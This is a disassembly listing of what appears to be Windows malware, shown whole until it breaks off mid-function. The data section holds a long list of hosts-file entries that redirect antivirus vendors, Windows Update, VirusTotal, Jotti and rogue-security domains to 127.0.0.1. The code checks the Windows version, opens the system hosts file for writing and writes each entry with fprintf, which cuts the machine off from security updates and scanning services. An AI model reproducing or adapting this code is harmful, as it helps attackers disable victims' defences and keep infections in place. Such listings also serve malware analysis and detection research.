a127_0_0_1Suppo	db 0Ah			; DATA XREF: .text:004041BAo
		db '127.0.0.1',9,'support.winantivirus.com',0
a127_0_0_1Secur	db 0Ah			; DATA XREF: .text:004041B2o
		db '127.0.0.1',9,'secure.winantivirus.com',0
		align 4
a127_0_0_1Sec_0	db 0Ah			; DATA XREF: .text:004041AAo
		db '127.0.0.1',9,'secure.winantispy.com',0
		align 10h
a127_0_0_1Sec_1	db 0Ah			; DATA XREF: .text:004041A2o
		db '127.0.0.1',9,'secure.winantispam.com',0
		align 4
a127_0_0_1Sec_2	db 0Ah			; DATA XREF: .text:0040419Ao
		db '127.0.0.1',9,'secure.errorsafe.com',0
a127_0_0_1Sec_3	db 0Ah			; DATA XREF: .text:00404192o
		db '127.0.0.1',9,'secure.drivecleaner.com',0
		align 4
a127_0_0_1Se_er	db 0Ah			; DATA XREF: .text:0040418Ao
		db '127.0.0.1',9,'se.errorsafe.com',0
a127_0_0_1Nl_er	db 0Ah			; DATA XREF: .text:0040417Fo
		db '127.0.0.1',9,'nl.errorsafe.com',0
a127_0_0_1Kb_wi	db 0Ah			; DATA XREF: .text:00404177o
		db '127.0.0.1',9,'kb.winantivirus.com',0
		align 10h
a127_0_0_1Kb_er	db 0Ah			; DATA XREF: .text:0040416Fo
		db '127.0.0.1',9,'kb.errorsafe.com',0
a127_0_0_1Jsp_d	db 0Ah			; DATA XREF: .text:00404167o
		db '127.0.0.1',9,'jsp.drivecleaner.com',0
a127_0_0_1Instl	db 0Ah			; DATA XREF: .text:0040415Fo
		db '127.0.0.1',9,'instlog.winfixer.com',0
a127_0_0_1Ins_0	db 0Ah			; DATA XREF: .text:00404157o
		db '127.0.0.1',9,'instlog.winantivirus.com',0
a127_0_0_1Ins_1	db 0Ah			; DATA XREF: .text:0040414Fo
		db '127.0.0.1',9,'instlog.errorsafe.com',0
		align 4
a127_0_0_1Hk_wi	db 0Ah			; DATA XREF: .text:00404147o
		db '127.0.0.1',9,'hk.winantivirus.com',0
		align 4
a127_0_0_1Go_wi	db 0Ah			; DATA XREF: .text:0040413Co
		db '127.0.0.1',9,'go.winantivirus.com',0
		align 4
a127_0_0_1Go__0	db 0Ah			; DATA XREF: .text:00404134o
		db '127.0.0.1',9,'go.winantispyware.com',0
		align 4
a127_0_0_1Go_er	db 0Ah			; DATA XREF: .text:0040412Co
		db '127.0.0.1',9,'go.errorsafe.com',0
a127_0_0_1Go_dr	db 0Ah			; DATA XREF: .text:00404124o
		db '127.0.0.1',9,'go.drivecleaner.com',0
		align 4
a127_0_0_1Fr_wi	db 0Ah			; DATA XREF: .text:0040411Co
		db '127.0.0.1',9,'fr.winfixer.com',0
		align 10h
a127_0_0_1Fr__0	db 0Ah			; DATA XREF: .text:00404114o
		db '127.0.0.1',9,'fr.winantivirus.com',0
		align 10h
a127_0_0_1Es_wi	db 0Ah			; DATA XREF: .text:0040410Co
		db '127.0.0.1',9,'es.winantivirus.com',0
		align 10h
a127_0_0_1Error	db 0Ah			; DATA XREF: .text:00404104o
		db '127.0.0.1',9,'errorsafe.com',0
		align 4
a127_0_0_1Err_0	db 0Ah			; DATA XREF: .text:004040F9o
		db '127.0.0.1',9,'errorprotector.com',0
		align 4
a127_0_0_1Dynam	db 0Ah			; DATA XREF: .text:004040F1o
		db '127.0.0.1',9,'dynamique.drivecleaner.com',0
		align 4
a127_0_0_1Drive	db 0Ah			; DATA XREF: .text:004040E9o
		db '127.0.0.1',9,'drivecleaner.com',0
a127_0_0_1Dow_2	db 0Ah			; DATA XREF: .text:004040E1o
		db '127.0.0.1',9,'download.winfixer.com',0
		align 4
a127_0_0_1Dow_3	db 0Ah			; DATA XREF: .text:004040D9o
		db '127.0.0.1',9,'download.windrivecleaner.com',0
a127_0_0_1Dow_4	db 0Ah			; DATA XREF: .text:004040D1o
		db '127.0.0.1',9,'download.winantispyware.com',0
		align 4
a127_0_0_1Dow_5	db 0Ah			; DATA XREF: .text:004040C9o
		db '127.0.0.1',9,'download.systemdoctor.com',0
		align 4
a127_0_0_1Dow_6	db 0Ah			; DATA XREF: .text:004040C1o
		db '127.0.0.1',9,'download.errorsafe.com',0
		align 10h
a127_0_0_1Dow_7	db 0Ah			; DATA XREF: .text:004040B6o
		db '127.0.0.1',9,'download.cdn.winsoftware.com',0
a127_0_0_1Dow_8	db 0Ah			; DATA XREF: .text:004040AEo
		db '127.0.0.1',9,'download.cdn.errorsafe.com',0
		align 10h
a127_0_0_1Dow_9	db 0Ah			; DATA XREF: .text:004040A6o
		db '127.0.0.1',9,'download.cdn.drivecleaner.com',0
		align 4
a127_0_0_1De_wi	db 0Ah			; DATA XREF: .text:00404096o
		db '127.0.0.1',9,'de.winantivirus.com',0
		align 4
a127_0_0_1De_er	db 0Ah			; DATA XREF: .text:00404086o
		db '127.0.0.1',9,'de.errorsafe.com',0
a127_0_0_1Ww_33	db 0Ah			; DATA XREF: .text:0040407Eo
					; .text:0040429Eo
		db '127.0.0.1',9,'www.winsoftware.com',0
		align 4
a127_0_0_1Cdn_w	db 0Ah			; DATA XREF: .text:00404073o
		db '127.0.0.1',9,'cdn.winsoftware.com',0
		align 4
a127_0_0_1Cdn_e	db 0Ah			; DATA XREF: .text:00404063o
		db '127.0.0.1',9,'cdn.errorsafe.com',0
		align 4
a127_0_0_1Ww_34	db 0Ah			; DATA XREF: .text:0040405Bo
					; .text:00404218o
		db '127.0.0.1',9,'www.drivecleaner.com',0
a127_0_0_1Cdn_d	db 0Ah			; DATA XREF: .text:00404053o
		db '127.0.0.1',9,'cdn.drivecleaner.com',0
a127_0_0_1Ww_35	db 0Ah			; DATA XREF: .text:0040404Bo
					; .text:0040428Bo
		db '127.0.0.1',9,'www.winfixer.com',0
a127_0_0_1Br_wi	db 0Ah			; DATA XREF: .text:00404043o
		db '127.0.0.1',9,'br.winfixer.com',0
		align 10h
a127_0_0_1Ww_36	db 0Ah			; DATA XREF: .text:0040403Bo
					; .text:0040409Eo ...
		db '127.0.0.1',9,'www.winantivirus.com',0
a127_0_0_1Br__0	db 0Ah			; DATA XREF: .text:00404030o
		db '127.0.0.1',9,'br.winantivirus.com',0
		align 10h
a127_0_0_1Ww_37	db 0Ah			; DATA XREF: .text:00404028o
					; .text:0040406Bo ...
		db '127.0.0.1',9,'www.errorsafe.com',0
		align 10h
a127_0_0_1Br_er	db 0Ah			; DATA XREF: .text:00404020o
		db '127.0.0.1',9,'br.errorsafe.com',0
a127_0_0_1Ww_38	db 0Ah			; DATA XREF: .text:00404018o
					; .text:00404220o
		db '127.0.0.1',9,'www.errorprotector.com',0
		align 10h
a127_0_0_1Bin_e	db 0Ah			; DATA XREF: .text:00404010o
		db '127.0.0.1',9,'bin.errorprotector.com',0
		align 4
a127_0_0_1Ww_39	db 0Ah			; DATA XREF: .text:00404008o
		db '127.0.0.1',9,'www.mediacount.net',0
		align 4
a127_0_0_1Media	db 0Ah			; DATA XREF: .text:00404000o
		db '127.0.0.1',9,'mediacount.net',0
		align 10h
a127_0_0_1Ww_40	db 0Ah			; DATA XREF: .text:00403FE5o
		db '127.0.0.1',9,'www.trustedantivirus.com',0
a127_0_0_1Prote	db 0Ah			; DATA XREF: .text:00403FDDo
		db '127.0.0.1',9,'protect.trustedantivirus.com',0
a127_0_0_1Www_o	db 0Ah			; DATA XREF: .text:00403FD5o
		db '127.0.0.1',9,'www.onerateld.com',0
		align 4
a127_0_0_1Conte	db 0Ah			; DATA XREF: .text:00403FCDo
		db '127.0.0.1',9,'content.onerateld.com',0
		align 10h
a127_0_0_1Avsys	db 0Ah			; DATA XREF: .text:00403FC5o
		db '127.0.0.1',9,'avsystemcare.com',0
a127_0_0_1Calc_	db 0Ah			; DATA XREF: .text:00403FBDo
		db '127.0.0.1',9,'calc.avsystemcare.com',0
		align 10h
a127_0_0_1Widep	db 0Ah			; DATA XREF: .text:00403FB5o
		db '127.0.0.1',9,'wideportal.net',0
		align 4
a127_0_0_1Ww_41	db 0Ah			; DATA XREF: .text:00403FAAo
		db '127.0.0.1',9,'www.wideportal.net',0
		align 4
a127_0_0_1Iwant	db 0Ah			; DATA XREF: .text:00403FA2o
					; .text:00403FEDo
		db '127.0.0.1',9,'iwantsearch.net',0
		align 4
a127_0_0_1Ww_42	db 0Ah			; DATA XREF: .text:00403F9Ao
					; .text:00403FF8o
		db '127.0.0.1',9,'www.iwantsearch.net',0
		align 4
a127_0_0_1Sea_1	db 0Ah			; DATA XREF: .text:00403F92o
		db '127.0.0.1',9,'searchmeup.biz',0
		align 4
a127_0_0_1Ww_43	db 0Ah			; DATA XREF: .text:00403F8Ao
		db '127.0.0.1',9,'www.searchmeup.biz',0
		align 4
a127_0_0_1Smart	db 0Ah			; DATA XREF: .text:00403F82o
		db '127.0.0.1',9,'smart-security.biz',0
		align 4
a127_0_0_1Ww_44	db 0Ah			; DATA XREF: .text:00403F7Ao
		db '127.0.0.1',9,'www.smart-security.biz',0
		align 4
a127_0_0_1Here4	db 0Ah			; DATA XREF: .text:00403F72o
		db '127.0.0.1',9,'here4search.biz',0
		align 4
a127_0_0_1Www_h	db 0Ah			; DATA XREF: .text:00403F67o
		db '127.0.0.1',9,'www.here4search.biz',0
		align 4
a127_0_0_1Allof	db 0Ah			; DATA XREF: .text:00403F5Fo
		db '127.0.0.1',9,'allofyouwant.com',0
a127_0_0_1Ww_45	db 0Ah			; DATA XREF: .text:00403F57o
		db '127.0.0.1',9,'www.theinstalls.com',0
		align 10h
a127_0_0_1Thein	db 0Ah			; DATA XREF: .text:00403F4Fo
		db '127.0.0.1',9,'theinstalls.com',0
		align 4
a127_0_0_1Ww_46	db 0Ah			; DATA XREF: .text:00403F47o
		db '127.0.0.1',9,'www.liveupdatesnet.com',0
		align 10h
a127_0_0_1Liveu	db 0Ah			; DATA XREF: .text:00403F3Fo
					; .text:004047E2o
		db '127.0.0.1',9,'liveupdatesnet.com',0
		align 10h
a127_0_0_1Jsp_a	db 0Ah			; DATA XREF: .text:00403F37o
		db '127.0.0.1',9,'jsp.advancedcleaner.com',0
		align 4
a127_0_0_1Pro_2	db 0Ah			; DATA XREF: .text:00403F2Fo
		db '127.0.0.1',9,'protect.advancedcleaner.com',0
		align 4
a127_0_0_1Sec_4	db 0Ah			; DATA XREF: .text:00403F24o
		db '127.0.0.1',9,'secure.advancedcleaner.com',0
		align 4
a127_0_0_1Advan	db 0Ah			; DATA XREF: .text:00403F1Co
		db '127.0.0.1',9,'advancedcleaner.com',0
		align 4
a127_0_0_1Ww_47	db 0Ah			; DATA XREF: .text:00403F14o
		db '127.0.0.1',9,'www.advancedcleaner.com',0
		align 4
a127_0_0_1Www3_	db 0Ah			; DATA XREF: .text:00403F0Co
		db '127.0.0.1',9,'www3.ca.com',0
		align 10h
a127_0_0_1Www_v	db 0Ah			; DATA XREF: .text:00403F04o
		db '127.0.0.1',9,'www.viruslist.ru',0
a127_0_0_1Www_k	db 0Ah			; DATA XREF: .text:00403EC1o
		db '127.0.0.1',9,'www.kaspersky.ru',0
a127_0_0_1Ww_48	db 0Ah			; DATA XREF: .text:00403EB1o
		db '127.0.0.1',9,'www.fastclick.net',0
		align 4
a127_0_0_1Ww_49	db 0Ah			; DATA XREF: .text:00403E9Eo
		db '127.0.0.1',9,'www.awaps.net',0
		align 4
a127_0_0_1Ww_50	db 0Ah			; DATA XREF: .text:00403E96o
		db '127.0.0.1',9,'www.avp.ru',0
		align 4
a127_0_0_1Ww_51	db 0Ah			; DATA XREF: .text:00403E86o
		db '127.0.0.1',9,'www.avp.ch',0
		align 4
a127_0_0_1Windo	db 0Ah			; DATA XREF: .text:00403E7Eo
		db '127.0.0.1',9,'windowsupdate.microsoft.com',0
		align 4
a127_0_0_1Virus	db 0Ah			; DATA XREF: .text:00403E76o
		db '127.0.0.1',9,'viruslist.ru',0
a127_0_0_1Vil_n	db 0Ah			; DATA XREF: .text:00403E6Eo
		db '127.0.0.1',9,'vil.nai.com',0
		align 4
a127_0_0_1Sup_0	db 0Ah			; DATA XREF: .text:00403E43o
		db '127.0.0.1',9,'support.microsoft.com',0
		align 10h
a127_0_0_1Ww_52	db 0Ah			; DATA XREF: .text:00403E3Bo
		db '127.0.0.1',9,'www.atwola.com',0
		align 4
a127_0_0_1Cdn_a	db 0Ah			; DATA XREF: .text:00403E33o
		db '127.0.0.1',9,'cdn.atwola.com',0
		align 4
a127_0_0_1Www_j	db 0Ah			; DATA XREF: .text:00403E2Bo
		db '127.0.0.1',9,'www.jotti.org',0
		align 4
a127_0_0_1Ww_53	db 0Ah			; DATA XREF: .text:00403E23o
		db '127.0.0.1',9,'www.virustotal.com',0
		align 4
a127_0_0_1Vir_0	db 0Ah			; DATA XREF: .text:00403E18o
		db '127.0.0.1',9,'virustotal.com',0
		align 10h
a127_0_0_1Vir_1	db 0Ah			; DATA XREF: .text:00403E10o
		db '127.0.0.1',9,'virusscan.jotti.org',0
		align 10h
a127_0_0_1Secdr	db 0Ah			; DATA XREF: .text:00403E08o
		db '127.0.0.1',9,'secdreg.org',0
		align 4
a127_0_0_1Vncsv	db 0Ah			; DATA XREF: .text:00403E00o
					; .text:004047BFo
		db '127.0.0.1',9,'vncsvr.com',0
		align 10h
a127_0_0_1Ww_54	db 0Ah			; DATA XREF: .text:00403DF8o
					; .text:00403EFCo
		db '127.0.0.1',9,'www.trendmicro.com',0
		align 10h
a127_0_0_1Trend	db 0Ah			; DATA XREF: .text:00403DF0o
		db '127.0.0.1',9,'trendmicro.com',0
		align 4
a127_0_0_1Rads_	db 0Ah			; DATA XREF: .text:00403DE8o
		db '127.0.0.1',9,'rads.mcafee.com',0
		align 4
a127_0_0_1Custo	db 0Ah			; DATA XREF: .text:00403DE0o
		db '127.0.0.1',9,'customer.symantec.com',0
		align 4
a127_0_0_1Liv_0	db 0Ah			; DATA XREF: .text:00403DD5o
		db '127.0.0.1',9,'liveupdate.symantec.com',0
		align 10h
a127_0_0_1Us_mc	db 0Ah			; DATA XREF: .text:00403DCDo
					; .text:00403E66o
		db '127.0.0.1',9,'us.mcafee.com',0
		align 4
a127_0_0_1Upd_1	db 0Ah			; DATA XREF: .text:00403DC5o
					; .text:00403E5Bo
		db '127.0.0.1',9,'updates.symantec.com',0
a127_0_0_1Upd_2	db 0Ah			; DATA XREF: .text:00403DBDo
					; .text:00403E53o
		db '127.0.0.1',9,'update.symantec.com',0
		align 4
a127_0_0_1Ww_55	db 0Ah			; DATA XREF: .text:00403DB5o
					; .text:00403ED9o
		db '127.0.0.1',9,'www.nai.com',0
		align 4
a127_0_0_1Nai_c	db 0Ah			; DATA XREF: .text:00403DADo
		db '127.0.0.1',9,'nai.com',0
		align 4
a127_0_0_1Sec_5	db 0Ah			; DATA XREF: .text:00403DA5o
		db '127.0.0.1',9,'secure.nai.com',0
		align 4
a127_0_0_1Dispa	db 0Ah			; DATA XREF: .text:00403D9Do
		db '127.0.0.1',9,'dispatch.mcafee.com',0
		align 4
a127_0_0_1Do_10	db 0Ah			; DATA XREF: .text:00403D92o
		db '127.0.0.1',9,'download.mcafee.com',0
		align 4
a127_0_0_1Ww_56	db 0Ah			; DATA XREF: .text:00403D8Ao
					; .text:00403ED1o
		db '127.0.0.1',9,'www.my-etrust.com',0
		align 4
a127_0_0_1MyEtr	db 0Ah			; DATA XREF: .text:00403D82o
		db '127.0.0.1',9,'my-etrust.com',0
		align 10h
a127_0_0_1Mast_	db 0Ah			; DATA XREF: .text:00403D7Ao
		db '127.0.0.1',9,'mast.mcafee.com',0
		align 4
a127_0_0_1Ca_co	db 0Ah			; DATA XREF: .text:00403D72o
		db '127.0.0.1',9,'ca.com',0
		align 10h
a127_0_0_1Ww_57	db 0Ah			; DATA XREF: .text:00403D6Ao
					; .text:00403EA9o
		db '127.0.0.1',9,'www.ca.com',0
		align 4
a127_0_0_1Netwo	db 0Ah			; DATA XREF: .text:00403D62o
		db '127.0.0.1',9,'networkassociates.com',0
		align 4
a127_0_0_1Ww_58	db 0Ah			; DATA XREF: .text:00403D5Ao
					; .text:00403EE1o
		db '127.0.0.1',9,'www.networkassociates.com',0
		align 4
a127_0_0_1Avp_c	db 0Ah			; DATA XREF: .text:00403D4Fo
		db '127.0.0.1',9,'avp.com',0
		align 4
a127_0_0_1Ww_59	db 0Ah			; DATA XREF: .text:00403D3Fo
					; .text:00403E8Eo
		db '127.0.0.1',9,'www.avp.com',0
		align 10h
a127_0_0_1Kaspe	db 0Ah			; DATA XREF: .text:00403D37o
		db '127.0.0.1',9,'kaspersky.com',0
		align 4
a127_0_0_1Ww_60	db 0Ah			; DATA XREF: .text:00403D2Fo
					; .text:00403EB9o
		db '127.0.0.1',9,'www.f-secure.com',0
a127_0_0_1FSecu	db 0Ah			; DATA XREF: .text:00403D27o
		db '127.0.0.1',9,'f-secure.com',0
a127_0_0_1Vir_2	db 0Ah			; DATA XREF: .text:00403D17o
					; .text:00403D1Fo
		db '127.0.0.1',9,'viruslist.com',0
		align 4
a127_0_0_1Ww_61	db 0Ah			; DATA XREF: .text:00403D0Co
		db '127.0.0.1',9,'www.viruslist.com',0
		align 4
a127_0_0_1Liv_1	db 0Ah			; DATA XREF: .text:00403D04o
		db '127.0.0.1',9,'liveupdate.symantecliveupdate.com',0
		align 4
a127_0_0_1Mcafe	db 0Ah			; DATA XREF: .text:00403CFCo
		db '127.0.0.1',9,'mcafee.com',0
		align 4
a127_0_0_1Ww_62	db 0Ah			; DATA XREF: .text:00403CF4o
					; .text:00403EC9o
		db '127.0.0.1',9,'www.mcafee.com',0
		align 10h
a127_0_0_1Sopho	db 0Ah			; DATA XREF: .text:00403CECo
		db '127.0.0.1',9,'sophos.com',0
		align 4
a127_0_0_1Ww_63	db 0Ah			; DATA XREF: .text:00403CE4o
					; .text:00403EECo
		db '127.0.0.1',9,'www.sophos.com',0
		align 4
a127_0_0_1Syman	db 0Ah			; DATA XREF: .text:00403CDCo
					; .text:00403E4Bo
		db '127.0.0.1',9,'symantec.com',0
a127_0_0_1Ww_64	db 0Ah			; DATA XREF: .text:00403CD4o
					; .text:00403D47o
		db '127.0.0.1',9,'www.kaspersky-labs.com',0
		align 10h
a127_0_0_1Do_11	db 0Ah			; DATA XREF: .text:00403CC9o
		db '127.0.0.1',9,'downloads5.kaspersky-labs.com',0
		align 4
a127_0_0_1Do_12	db 0Ah			; DATA XREF: .text:00403CC1o
		db '127.0.0.1',9,'downloads4.kaspersky-labs.com',0
		align 4
a127_0_0_1Do_13	db 0Ah			; DATA XREF: .text:00403CB9o
		db '127.0.0.1',9,'downloads3.kaspersky-labs.com',0
		align 4
a127_0_0_1Do_14	db 0Ah			; DATA XREF: .text:00403CB1o
		db '127.0.0.1',9,'downloads2.kaspersky-labs.com',0
		align 10h
a127_0_0_1Do_15	db 0Ah			; DATA XREF: .text:00403CA9o
		db '127.0.0.1',9,'downloads1.kaspersky-labs.com',0
		align 4
a127_0_0_1Sec_6	db 0Ah			; DATA XREF: .text:00403CA1o
		db '127.0.0.1',9,'securityresponse.symantec.com',0
		align 4
a127_0_0_1Ww_65	db 0Ah			; DATA XREF: .text:00403C99o
					; .text:00403EF4o
		db '127.0.0.1',9,'www.symantec.com',0
a127_0_0_1Local	db 0Ah			; DATA XREF: .text:00403C91o
		db '127.0.0.1',9,'localhost',0
		align 4
aCWinntSystem32	db 'c:\WINNT\system32\drivers\etc\hosts',0 ; DATA XREF: .text:00403C59o
					; .text:00403C77o
aCWindowsSystem	db 'c:\WINDOWS\system32\drivers\etc\hosts',0 ; DATA XREF: .text:00403C10o
					; .text:00403C37o
		align 4
aW:					; DATA XREF: .text:00403C0Bo
					; .text:00403C32o ...
		unicode	0, <w>,0
		align 10h


loc_403BA0:				; CODE XREF: _837l4vi2:0040870Dj
		sub	esp, 0A0h
		push	esi
		mov	esi, dword_401000
		push	edi
		mov	ecx, 27h
		xor	eax, eax
		lea	edi, [esp+0Ch]
		rep stosd
		lea	eax, [esp+0Ch]
		mov	dword ptr [esp+0Ch], 9Ch
		push	eax
		call	esi	; GetVersionExA
		test	eax, eax
		jnz	short loc_403BE5
		lea	ecx, [esp+0Ch]
		mov	dword ptr [esp+0Ch], 94h
		push	ecx
		call	esi	; GetVersionExA
		test	eax, eax
		jz	loc_4048CD


loc_403BE5:				; CODE XREF: .text:00403BCCj
		mov	ecx, [esp+1Ch]
		mov	eax, 2
		cmp	ecx, eax
		jnz	loc_4048CD
		mov	ecx, [esp+10h]
		mov	edi, dword_401008+4
		cmp	ecx, 5
		jnz	short loc_403C67
		cmp	[esp+14h], eax
		jnz	short loc_403C27
		push	offset aW	; "w"
		push	offset aCWindowsSystem ; "c:\\WINDOWS\\system32\\drivers\\etc\\hosts"
		call	edi
		mov	esi, eax
		mov	eax, [esp+18h]
		add	esp, 8
		cmp	eax, 5
		jnz	short loc_403C6B
		jmp	short loc_403C2B
; ---------------------------------------------------------------------------


loc_403C27:				; CODE XREF: .text:00403C09j
		mov	esi, [esp+8]


loc_403C2B:				; CODE XREF: .text:00403C25j
		cmp	dword ptr [esp+14h], 1
		jnz	short loc_403C4C
		push	offset aW	; "w"
		push	offset aCWindowsSystem ; "c:\\WINDOWS\\system32\\drivers\\etc\\hosts"
		call	edi
		mov	esi, eax
		mov	eax, [esp+18h]
		add	esp, 8
		cmp	eax, 5
		jnz	short loc_403C6B


loc_403C4C:				; CODE XREF: .text:00403C30j
		mov	eax, [esp+14h]
		test	eax, eax
		jnz	short loc_403C83
		push	offset aW	; "w"
		push	offset aCWinntSystem32 ; "c:\\WINNT\\system32\\drivers\\etc\\hosts"
		call	edi
		add	esp, 8
		mov	esi, eax
		jmp	short loc_403C6B
; ---------------------------------------------------------------------------


loc_403C67:				; CODE XREF: .text:00403C03j
		mov	esi, [esp+8]


loc_403C6B:				; CODE XREF: .text:00403C23j
					; .text:00403C4Aj ...
		cmp	dword ptr [esp+10h], 4
		ja	short loc_403C83
		push	offset aW	; "w"
		push	offset aCWinntSystem32 ; "c:\\WINNT\\system32\\drivers\\etc\\hosts"
		call	edi
		add	esp, 8
		mov	esi, eax


loc_403C83:				; CODE XREF: .text:00403C52j
					; .text:00403C70j
		test	esi, esi
		jz	loc_4048CD
		mov	edi, dword_401008
		push	offset a127_0_0_1Local ; "\n127.0.0.1\tlocalhost"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_65 ; "\n127.0.0.1\twww.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_6 ; "\n127.0.0.1\tsecurityresponse.symantec.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_15 ; "\n127.0.0.1\tdownloads1.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_14 ; "\n127.0.0.1\tdownloads2.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_13 ; "\n127.0.0.1\tdownloads3.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_12 ; "\n127.0.0.1\tdownloads4.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_11 ; "\n127.0.0.1\tdownloads5.kaspersky-labs.co"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_64 ; "\n127.0.0.1\twww.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Syman ; "\n127.0.0.1\tsymantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_63 ; "\n127.0.0.1\twww.sophos.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sopho ; "\n127.0.0.1\tsophos.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_62 ; "\n127.0.0.1\twww.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mcafe ; "\n127.0.0.1\tmcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liv_1 ; "\n127.0.0.1\tliveupdate.symantecliveupdat"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_61 ; "\n127.0.0.1\twww.viruslist.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Vir_2 ; "\n127.0.0.1\tviruslist.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vir_2 ; "\n127.0.0.1\tviruslist.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1FSecu ; "\n127.0.0.1\tf-secure.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_60 ; "\n127.0.0.1\twww.f-secure.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Kaspe ; "\n127.0.0.1\tkaspersky.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_59 ; "\n127.0.0.1\twww.avp.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_64 ; "\n127.0.0.1\twww.kaspersky-labs.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Avp_c ; "\n127.0.0.1\tavp.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_58 ; "\n127.0.0.1\twww.networkassociates.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Netwo ; "\n127.0.0.1\tnetworkassociates.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_57 ; "\n127.0.0.1\twww.ca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ca_co ; "\n127.0.0.1\tca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mast_ ; "\n127.0.0.1\tmast.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1MyEtr ; "\n127.0.0.1\tmy-etrust.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_56 ; "\n127.0.0.1\twww.my-etrust.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Do_10 ; "\n127.0.0.1\tdownload.mcafee.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dispa ; "\n127.0.0.1\tdispatch.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_5 ; "\n127.0.0.1\tsecure.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Nai_c ; "\n127.0.0.1\tnai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_55 ; "\n127.0.0.1\twww.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_2 ; "\n127.0.0.1\tupdate.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_1 ; "\n127.0.0.1\tupdates.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Us_mc ; "\n127.0.0.1\tus.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liv_0 ; "\n127.0.0.1\tliveupdate.symantec.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Custo ; "\n127.0.0.1\tcustomer.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Rads_ ; "\n127.0.0.1\trads.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Trend ; "\n127.0.0.1\ttrendmicro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_54 ; "\n127.0.0.1\twww.trendmicro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vncsv ; "\n127.0.0.1\tvncsvr.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Secdr ; "\n127.0.0.1\tsecdreg.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vir_1 ; "\n127.0.0.1\tvirusscan.jotti.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vir_0 ; "\n127.0.0.1\tvirustotal.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_53 ; "\n127.0.0.1\twww.virustotal.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_j ; "\n127.0.0.1\twww.jotti.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_a ; "\n127.0.0.1\tcdn.atwola.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_52 ; "\n127.0.0.1\twww.atwola.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sup_0 ; "\n127.0.0.1\tsupport.microsoft.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Syman ; "\n127.0.0.1\tsymantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_2 ; "\n127.0.0.1\tupdate.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_1 ; "\n127.0.0.1\tupdates.symantec.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Us_mc ; "\n127.0.0.1\tus.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Vil_n ; "\n127.0.0.1\tvil.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Virus ; "\n127.0.0.1\tviruslist.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Windo ; "\n127.0.0.1\twindowsupdate.microsoft.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_51 ; "\n127.0.0.1\twww.avp.ch"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_59 ; "\n127.0.0.1\twww.avp.com"
